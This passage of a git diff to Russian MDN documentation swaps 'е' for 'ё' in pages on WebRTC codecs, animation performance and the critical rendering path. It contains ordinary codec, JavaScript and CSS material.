необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определенные параметры определенным образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определенный набор значений. А иногда требования более сложны.</p> +<p>AVC предлагает широкий спектр параметров для управления дополнительными значениями. Чтобы повысить надёжность совместного использования мультимедиа WebRTC на нескольких платформах и в разных браузерах, необходимо, чтобы конечные точки WebRTC, поддерживающие AVC, обрабатывали определённые параметры определённым образом. Иногда это просто означает, что параметр должен (или не должен) поддерживаться. Иногда это означает, что необходимо указать конкретное значение для параметра или разрешить определённый набор значений. А иногда требования более сложны.</p> <h5 id="Полезные_но_необязательные_параметры">Полезные, но необязательные параметры</h5> @@ -115,9 +115,9 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <dl> <dt><code>max-br</code></dt> - <dd>Если параметр определен и поддерживается , он определяет максимальную скорость передачи видеоданных в единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на <a href="https://tools.ietf.org/html/rfc6184#page-47">странице 47 спецификации RFC 6184</a>.</dd> + <dd>Если параметр определён и поддерживается , он определяет максимальную скорость передачи видеоданных в единицах 1,000 bps (бит в секунду) для VCL и 1,200 bps (бит в секунду) для NAL. Подробности на <a href="https://tools.ietf.org/html/rfc6184#page-47">странице 47 спецификации RFC 6184</a>.</dd> <dt><code>max-cpb</code></dt> - <dd>Если параметр определен и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложненный параметр, размер которого может варьироваться. Смотрим на <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу 45 спецификации RFC 6184</a> о подробностях.</dd> + <dd>Если параметр определён и поддерживается, он определяет максимальный размер буфера, кодируемых данных. Немного усложнённый параметр, размер которого может варьироваться. Смотрим на <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу 45 спецификации RFC 6184</a> о подробностях.</dd> <dt><code>max-dpb</code></dt> <dd>Определяет максимальный размер буфера декодированных данных, выраженных в единицах 8/3 макроблоков. Подробности в спецификации <a href="https://tools.ietf.org/html/rfc6184#page-46">RFC 6184, страница 46</a>.</dd> <dt><code>max-fs</code></dt> @@ -128,7 +128,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <dd>Определяет максимальную скорость обработки статических макроблоков в секунду (используя гипотетическое предположение, что все макроблоки являются статическими макроблоками).</dd> </dl> -<h5 id="Параметры_с_определенными_требованиями">Параметры с определенными требованиями</h5> +<h5 id="Параметры_с_определёнными_требованиями">Параметры с определёнными требованиями</h5> <p>Эти параметры являются необязательными, но имеют специальные требования при их использовании.</p> @@ -229,7 +229,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <p><a id="other-audio-foot-2" name="other-audio-foot-2">[2]</a> The <strong>{{interwiki("wikipedia", "Internet Speech Audio Codec")}}</strong> (<strong>iSAC</strong>) - другой кодек, разработанный Global IP Solutions, теперь принадлежащий Google, открывший его код. Используется Google Talk, QQ, и другими клиентами быстрых сообщений, специально спроектированный для голосовых сообщений, упакованных в поток RTP. Пока не является обязательной поддерживаемым кодеком. Поддерживается Safari и Chrome. Не поддерживается Firefox и Edge.</p> -<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определенное заполнение в беззвучных промежутках.</p> +<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - комфортный шум. Является формой искусственного фонового шума, использующегося для заполнения пробелов в передаче, вместо использования полной тишины. Помогает избежать вибрационных эффектов, возникающих, когда голосовая активация или подобная функциональность вызывает временное приостановление потока, известная как прерывистая передача (Discontinuous Transmission (DTX)). В спецификации {{RFC(3389)}}, метод предлагает использовать определённое заполнение в беззвучных промежутках.</p> <p>Комфортный шум используется с G.711 и может потенциально использоваться с другими кодеками, которые не имеют встроенной функции CN. Кодек Opus, к примеру, имеет собственную реализацию CN, поэтому использование RFC 3389 CN с кодеком Opus не рекомендуется.</p> @@ -237,11 +237,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <h3 id="Кодек_Opus">Кодек Opus</h3> -<p>Формат Opus, определенный в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">соответствующей секции</a> нашего <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по аудиокодекам, использующимся в web</a>.</p> +<p>Формат Opus, определённый в {{RFC (6716)}}), является основным форматом для аудио в WebRTC. Формат полезной нагрузки RTP для Opus находится в {{RFC (7587)}}. Можете найти подробную информацию об Opus и его возможностях, а также о том, как другие API могут поддерживать Opus, в <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">соответствующей секции</a> нашего <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по аудиокодекам, использующимся в web</a>.</p> <p>Должны поддерживаться оба режима : речь и обычное аудио. Масштабируемость и гибкость Opus полезна при работе с аудио, имеющим различную степень сложности. Поддержка внутриполосных стереосигналов позволяет поддерживать стереозвук без усложнения процесса демультиплексирования.</p> -<p>Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причем скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..</p> +<p>Весь диапазон битрейтов, поддерживаемых Opus (от 6 кбит / с до 510 кбит / с), поддерживается в WebRTC, причём скорость битов можно динамически изменять. Более высокие битовые скорости передачи обычно улучшают качество..</p> <h4 id="Рекомендации_по_скорости_передачи_данных_bit_rate">Рекомендации по скорости передачи данных (bit rate)</h4> @@ -282,7 +282,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки <h3 id="Кодек_G.711">Кодек G.711</h3> -<p>G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что дает скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.</p> +<p>G.711 определяет формат для звука с импульсной кодовой модуляцией (PCM) в виде серии 8-битных целочисленных выборок, взятых с частотой дискретизации 8000 Гц, что даёт скорость передачи данных 64 кбит / с. И в {{interwiki("wikipedia", "M-law", "µ-law")}} , и в {{interwiki("wikipedia", "A-law")}} разрешена кодировка.</p> <p>G.711 <a href="https://www.itu.int/rec/T-REC-G.711-198811-I/en">определяется ITU</a> , а его формат нагрузки в {{RFC(3551, "4.5.14")}}.</p> @@ -323,11 +323,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <p>Обработчик события <code>icegatheringstatechange</code> установлен; в нем мы отслеживаем тип события <code>complete</code> завершения сборки кандидатов ICE, указывающее что сборка кандидатов завершена. Метод {{domxref("RTCPeerConnection.getSenders()")}} вызывается для получения списка всех объектов {{domxref("RTCRtpSender")}} , использующихся в соединении.</p> -<p>Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своем свойстве {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение <code>video</code>, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную <code>codecList</code>.</p> +<p>Имея это в виду, мы просматриваем список отправителей и ищем первого, чей {{domxref ("MediaStreamTrack")}} указывает, что тип {{domxref ("MediaStreamTrack.track", "track")}} в своём свойстве {{domxref("MediaStreamTrack.kind", "kind")}} содержит значение <code>video</code>, указывающее, что данные являются видеоданными. Затем вызывается метод отправителя {{domxref("RTCRtpSender.getParameters", "getParameters()")}} , и значением свойства {{domxref("RTCRtpParameters.codecs", "codecs")}} возвращаемого объекта {{domxref("RTCRtpSendParameters")}} , инициализируем переменную <code>codecList</code>.</p> <p>Если видеотрек не найден, устанавливаем <code>codecList</code> в <code>null</code>.</p> -<p>При возврате, <code>codecList </code>либо <code>null</code> , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешенную конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.</p> +<p>При возврате, <code>codecList </code>либо <code>null</code> , указывающий на то, что видеодорожки не были найдены, либо это массив {{domxref ("RTCRtpCodecParameters")}} объектов, каждый из которых описывает одну разрешённую конфигурацию кодека. Особое значение в этих объектах имеет свойство {{domxref ("RTCRtpCodecParameters.payloadType", "payloadType")}}, которое является однобайтовым значением, однозначно идентифицирующим описанную конфигурацию.</p> <div class="blockIndicator note"> <p><strong>Примечание :</strong> Два метода получения списков кодеков, показанные здесь, используют разные типы вывода в своих списках кодеков. Помните об этом при использовании результатов</p> @@ -356,17 +356,17 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { } </pre> -<p>В этом примере функция <code>changeVideoCodec()</code> принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приемо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.</p> +<p>В этом примере функция <code>changeVideoCodec()</code> принимает в параметр MIME тип предпочтительного к использованию кодека. Код начинается с получения списка объектов приёмо-передатчиков объекта соединения {{domxref("RTCPeerConnection")}}.</p> -<p>Затем, для каждого приемо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения <code>video</code>, используя статический метод <code>getCapabilities()</code> обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.</p> +<p>Затем, для каждого приёмо-передатчика анализируем тип медиа свойства {{domxref("RTCRtpSender")}}'s track's {{domxref("MediaStreamTrack.kind", "kind")}}. Так же получаем список поддерживаемых браузером кодеков стороны отправки и получения <code>video</code>, используя статический метод <code>getCapabilities()</code> обоих классов {{domxref("RTCRtpSender")}} и {{domxref("RTCRtpReceiver")}}.</p> <p>Если тип медиаданных является типом <code>video</code>, вызываем метод <code>preferCodec()</code> для обоих взаимодействующих сторон списков кодеков, который реорганизует список кодеков необходимым образом (смотри ниже).</p> <p>И наконец, вызываем метод {{domxref("RTCRtpTransceiver.setCodecPreferences", "setCodecPreferences()")}} объекта {{domxref("RTCRtpTransceiver")}} для определения того, что использование кодеков обеих сторон разрешено, в указанном порядке.</p> -<p>Это выполняется для каждого объекта приемо-передатчика объекта соединения <code>RTCPeerConnection</code>; как только все приемо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создает новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удаленному узлу, и так далее, запуская согласование соединения .</p> +<p>Это выполняется для каждого объекта приёмо-передатчика объекта соединения <code>RTCPeerConnection</code>; как только все приёмо-передатчики обновили списки предпочитаемых кодеков, вызывается обработчик события {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} , который создаёт новый объект предложения, обновляет объект локального описания сессии, отправляет предложение удалённому узлу, и так далее, запуская согласование соединения .</p> -<p>Функция <code>preferCodec()</code> вызываемая приведенным выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> +<p>Функция <code>preferCodec()</code> вызываемая приведённым выше кодом, действует так, чтобы переместить указанный кодек в верхнюю часть списка (для приоритета во время согласования):</p> <pre class="brush: js notranslate">function preferCodec(codecs, mimeType) { let otherCodecs = []; @@ -384,11 +384,11 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { return sortedCodecs.concat(otherCodecs); }</pre> -<p>Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей MIME тип совпадает с тем, который указан в параметре <code>mimeType</code> , другой же содержит остальные кодеки. Как только список разделен, они объединяются вместе с записями, соответствующими заданному <code>mimeType</code> следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.</p> +<p>Этот код просто разбивает список кодеков на два массива: один, содержащий кодеки, чей MIME тип совпадает с тем, который указан в параметре <code>mimeType</code> , другой же содержит остальные кодеки. Как только список разделён, они объединяются вместе с записями, соответствующими заданному <code>mimeType</code> следующими вначале, за которыми следуют остальные записи кодеков. Затем этот список возвращается вызывающему коду.</p> <h2 id="Кодеки_по_умолчанию">Кодеки по умолчанию</h2> -<p>Если не определенно иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями WebRTC, перечислены ниже</p> +<p>Если не определённо иное, кодеки по умолчанию (предпочтительные кодеки), запрашиваемые браузерными реализациями WebRTC, перечислены ниже</p> <table class="standard-table"> <caption> @@ -433,13 +433,13 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h2 id="Правильный_выбор_кодеков">Правильный выбор кодеков</h2> -<p>Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и Opus или PCM для аудио), следует серьезно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.</p> +<p>Перед выбором кодека, который не является обязательным (VP8 или AVC для видео и Opus или PCM для аудио), следует серьёзно рассмотреть потенциальные недостатки: в особенности, если предполагается, что эти кодеки не широко доступны на всех устройствах, поддерживающих WebRTC.</p> <p>Если вы предпочитаете кодек, отличный от обязательных, вы должны по крайней мере разрешить откат к одному из обязательных кодеков, если поддержка для кодека, который вы предпочитаете, окажется недоступна.</p> <h3 id="Аудио">Аудио</h3> -<p>В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стесненной среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своем узкополосном режиме .</p> +<p>В целом, если кодек доступен и звук, который вы хотите отправить, имеет частоту дискретизации более 8 кГц, вам следует настоятельно рекомендовать использовать Opus в качестве основного кодека. Для голосовых соединений в стеснённой среде использование G.711 с частотой дискретизации 8 кГц может обеспечить приемлемое качество для разговора, но обычно вы будете использовать G.711 в качестве запасного варианта, поскольку есть другие более эффективные варианты, чей звук лучше, такие как Опус в своём узкополосном режиме .</p> <h3 id="Видео">Видео</h3> @@ -447,7 +447,7 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h4 id="Условия_лицензирования">Условия лицензирования</h4> -<p>Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководстве по видеокодекам, используемым в web</a>. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придется заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.</p> +<p>Прежде чем выбрать видеокодек, убедитесь, что вы знаете о любых лицензионных требованиях к выбранному вами кодеку; можете найти информацию о возможных проблемах лицензирования в нашем основном <a href="/en-US/docs/Web/Media/Formats/Video_codecs">руководстве по видеокодекам, используемым в web</a>. Из двух обязательных кодеков для видео - VP8 и AVC / H.264 - только VP8 полностью свободен от лицензионных требований. Если выбираете AVC, убедитесь, что вы знаете о любых возможных сборах, которые вам, возможно, придётся заплатить; владельцы патентов обычно говорят, что большинству типичных разработчиков веб-сайтов не нужно беспокоиться об оплате лицензионных сборов, которые, как правило, больше ориентированы на разработчиков программного обеспечения для кодирования и декодирования.</p> <div class="blockIndicator warning"> <p><strong>Внимание :</strong> Информация здесь не является юридической консультацией! Обязательно убедитесь в возможности ответственности, прежде чем принимать какие-либо окончательные решения, если существует вероятность возникновения проблем с лицензированием.</p> @@ -455,19 +455,19 @@ peerConnection.addEventListener("icegatheringstatechange", (event) => { <h4 id="Энергопотребление_и_срок_службы_батареи">Энергопотребление и срок службы батареи</h4> -<p>Еще один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.</p> +<p>Ещё один фактор, который следует учитывать, особенно на мобильных платформах, - это влияние кодека на время автономной работы. Если кодек обрабатывается аппаратно на данной платформе, он, вероятно, позволит значительно увеличить срок службы батареи и уменьшить выработку тепла.</p> <p>Например, Safari для iOS и iPadOS представила WebRTC с AVC в качестве единственного поддерживаемого видеокодека. Преимущество AVC на iOS и iPadOS заключается в возможности кодирования и декодирования на аппаратном уровне.Safari 12.1 представил поддержку VP8 в IRC, что улучшает взаимодействие, но за дополнительную плату - VP8 не имеет аппаратной поддержки на устройствах iOS, поэтому его использование приводит к увеличению нагрузки на процессор и сокращению срока службы батареи.</p> <h4 id="Производительность">Производительность</h4> -<p>К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остается за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придется столкнуться для этого кодека.</p> +<p>К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остаётся за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придётся столкнуться для этого кодека.</p> <p>Имейте в виду, что выбор кодека, которого нет в списке обязательных кодеков, может привести к риску выбора кодека, который не поддерживается браузером, который предпочитают ваши пользователи. Прочтите <a href="/en-US/docs/Web/Media/Formats/Support_issues">Решение проблем медиаподдержки в веб контенте</a> , чтобы узнать больше о том, как предлагать поддержку предпочитаемых кодеков, но при этом использовать браузеры, которые не поддерживают этот кодек.</p> <h2 id="Последствия_для_безопасности">Последствия для безопасности</h2> -<p>При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путем мониторинга скорости потока и ее изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.</p> +<p>При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путём мониторинга скорости потока и её изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.</p> <p>Подробнее о безопасности при использовании AVC в WebRTC см. {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.</p> diff --git a/files/ru/web/performance/animation_performance_and_frame_rate/index.html b/files/ru/web/performance/animation_performance_and_frame_rate/index.html index 9b9121b742..8ccf7fb88d 100644 --- a/files/ru/web/performance/animation_performance_and_frame_rate/index.html +++ b/files/ru/web/performance/animation_performance_and_frame_rate/index.html @@ -13,7 +13,7 @@ original_slug: Web/Performance/Производительность_анимац --- <p>Анимация в Вебе может быть сделана с помощью {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, включая {{htmlelement('canvas')}} и {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, анимированных GIF и даже с помощью анимированных PNG и других типов изображений. Производительность CSS анимации может отличаться от одного CSS-свойства к другому, а попытка анимировать некоторые "дорогие" CSS-свойства может привести к зависаниям ({{glossary('jank')}}), даже несмотря на то, что браузер борется за то, чтобы смягчить частоту смены кадров {{glossary('frame rate')}}.</p> -<p>Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объему файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. </p> +<p>Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объёму файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. </p> <p>Анимации, основанные на коде, будь то CSS, SVG, <canvas>, webGL или другие JavaScript анимации, могут нести проблемы производительности сами в себе, даже если файлы этого кода скачиваются быстро. Такие анимации могут потреблять всё время CPU и приводить к зависаниям.</p> @@ -25,12 +25,12 @@ original_slug: Web/Performance/Производительность_анимац <p>Графики <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> и <a href="/en-US/docs/Tools/Performance/Waterfall">waterfall</a> из встроенных инструментов браузера дают информацию о том, как браузер выполняет работу по анимации. Используя эти инструменты, вы можете измерить fps приложения и диагностировать узкие места, в которых fps уменьшается.</p> -<p>С помощью <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a> вы указываете <a href="/en-US/docs/Web/CSS/@keyframes">ключевые кадры (keyframes)</a>, каждый из которых использует определенные CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создает анимации с помощью плавных переходов от одного ключевого кадра к следующему.</p> +<p>С помощью <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a> вы указываете <a href="/en-US/docs/Web/CSS/@keyframes">ключевые кадры (keyframes)</a>, каждый из которых использует определённые CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создаёт анимации с помощью плавных переходов от одного ключевого кадра к следующему.</p> <p>Если сравнивать анимацию с помощью JavaScript и CSS, вы увидите, что CSS-анимации проще создать. Более того, CSS-анимации гарантируют лучшую производительность, так как они автоматически делегируют некоторые задачи браузеру. Например, в случае CSS браузер сам решает, когда нужно отрендерить кадр, а когда пропустить кадр, если это необходимо. </p> <p><br> - Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчет говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, так как браузер все еще будет пытаться вычислить все 60 кадров.</p> + Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчёт говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, так как браузер все ещё будет пытаться вычислить все 60 кадров.</p> <p>Стоит заметить, что 60 кадров в секунду - это стандартная частота обновления экрана. Существуют экраны с гораздо большим FPS. Например, экраны игровых ноутбуков или iPad Pro 2018 имеют частоту смены кадров, равную 120 fps и выше. Для таких устройств производители браузеров ограничивают частоту 60-ю кадрами в секунду, но с помощью некоторых опций этот лимит можно убрать. И в этом случае, на формирование каждого кадра устройство будет отводить лишь 8.6 миллисекунд.</p> @@ -42,7 +42,7 @@ original_slug: Web/Performance/Производительность_анимац <ol> <li><strong>Recalculate Style</strong>: когда любое CSS свойство для элемента изменяется, браузер должен заново вычислить результирующий набор свойств.</li> - <li><strong>Layout</strong>: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как измененного, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".</li> + <li><strong>Layout</strong>: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как изменённого, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".</li> <li><strong>Paint</strong>: наконец, браузер должен перерисовать элементы на экране. Но этот этап не обязательно должен быть простым, как на изображении. Страница может быть разделена на слои, каждый из которых перерисовывается независимо, а только после этого они комбинируются в процессе, который называется композицией "Composition".</li> </ol> @@ -100,7 +100,7 @@ original_slug: Web/Performance/Производительность_анимац <h2 id="Пример_margin_против_transform">Пример: margin против transform</h2> -<p>В этом разделе мы увидим, как инструмент <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> может указать на разницу между анимацией. ёё <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code> и <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p> +<p>В этом разделе мы увидим, как инструмент <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> может указать на разницу между анимацией. её <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code> и <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p> <p>Задумка этого сценария не в том, чтобы убедить вас, что анимация через <code>margin</code> - это всегда плохая идея. Сценарий нужен, чтобы продемонстрировать, как инструменты могут помочь вам понять работу браузера и как вы можете применить эти знания для оптимизации.</p> @@ -116,7 +116,7 @@ original_slug: Web/Performance/Производительность_анимац <h3 id="Анимация_свойства_margin">Анимация свойства margin</h3> -<p>Оставим включенной опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмем кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.</p> +<p>Оставим включённой опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмём кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.</p> <p>Откройте первую запись. Точное содержимое, которое вы увидите, зависит от вашего устройства, системной нагрузки и окружения, но, в целом это должно выглядеть так:</p> @@ -128,7 +128,7 @@ original_slug: Web/Performance/Производительность_анимац <p><img alt="" src="https://mdn.mozillademos.org/files/10857/margin-timeline-overview.png" style="display: block; height: 58px; margin-left: auto; margin-right: auto; width: 800px;"></p> -<p>Сейчас здесь показаны ужатые этапы рендеринга <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как видите, большая часть графика заполнена зеленым цветом - это говорит нам о том, что <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">мы тратим много ресурсов на отрисовывание</a>.</p> +<p>Сейчас здесь показаны ужатые этапы рендеринга <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как видите, большая часть графика заполнена зелёным цветом - это говорит нам о том, что <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">мы тратим много ресурсов на отрисовывание</a>.</p> <h4 id="Частота_кадров_Frame_Rate">Частота кадров (Frame Rate)</h4> @@ -158,7 +158,7 @@ original_slug: Web/Performance/Производительность_анимац <p><img alt="" src="https://mdn.mozillademos.org/files/10869/transform-timeline-overview.png" style="display: block; height: 57px; margin-left: auto; margin-right: auto; width: 800px;"></p> -<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">версией, которая использует margin</a>, мы видим намного меньше зеленого, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout или style recalculation</a>.</p> +<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">версией, которая использует margin</a>, мы видим намного меньше зелёного, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout или style recalculation</a>.</p> <h4 id="Частота_кадров_Frame_Rate_2">Частота кадров (Frame Rate)</h4> diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html index ba9788828d..ee91e0e4c8 100644 --- a/files/ru/web/performance/critical_rendering_path/index.html +++ b/files/ru/web/performance/critical_rendering_path/index.html @@ -7,7 +7,7 @@ translation_of: Web/Performance/Critical_rendering_path --- <p><span class="seoSummary">Критические этапы рендеринга (Critical Rendering Path) - это последовательность шагов, которые выполняет браузер, когда преобразуется HTML, CSS и JavaScript в пиксели, которые вы видите на экране. Оптимизация этих шагов улучшает производительность рендера. Эти этапы включают в себя работу с <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), деревом рендера (render tree) и компоновкой объектов (layout)</span></p> -<p>Объектная модель документа DOM создается в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.</p> +<p>Объектная модель документа DOM создаётся в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить 